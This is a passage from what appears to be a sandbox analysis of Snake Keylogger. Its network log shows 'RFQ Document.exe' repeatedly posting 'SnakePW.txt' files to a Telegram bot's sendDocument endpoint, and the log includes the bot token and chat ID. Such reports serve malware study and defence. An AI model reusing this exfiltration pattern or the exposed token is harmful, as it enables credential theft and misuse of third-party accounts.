{"ok":true,"result":{"message_id":12634,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808713,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49830	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:33 UTC	86	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c9be4785 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:33 UTC	86	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 62 65 34 37 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c9be4785Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:34 UTC	87	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:34 UTC	87	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12636,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808714,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49831	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:34 UTC	87	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c9dd5aad Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:34 UTC	88	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 64 64 35 61 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c9dd5aadContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:34 UTC	88	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:34 UTC	89	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12637,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808714,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49832	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:34 UTC	89	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c9fc4469 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:34 UTC	89	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 66 63 34 34 36 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c9fc4469Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:34 UTC	90	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:34 UTC	90	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12638,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808714,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49833	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:34 UTC	91	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ca18e239 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:34 UTC	91	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 31 38 65 32 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ca18e239Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:34 UTC	91	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:34 UTC	92	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12639,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808714,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49834	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:34 UTC	92	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ca37e243 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:34 UTC	93	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 33 37 65 32 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ca37e243Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:34 UTC	93	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:34 UTC	93	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12640,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808714,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49835	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:34 UTC	94	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ca4fb70b Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:34 UTC	94	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 61 34 66 62 37 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ca4fb70bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:35 UTC	95	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:35 UTC	95	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12641,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808714,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49780	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:21 UTC	9	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c288eef3 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:21 UTC	9	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 38 38 65 65 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c288eef3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:21 UTC	10	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:21 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:21 UTC	10	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12585,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808701,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49836	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:35 UTC	95	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ca6eb568 Host: api.telegram.org Content-Length: 407
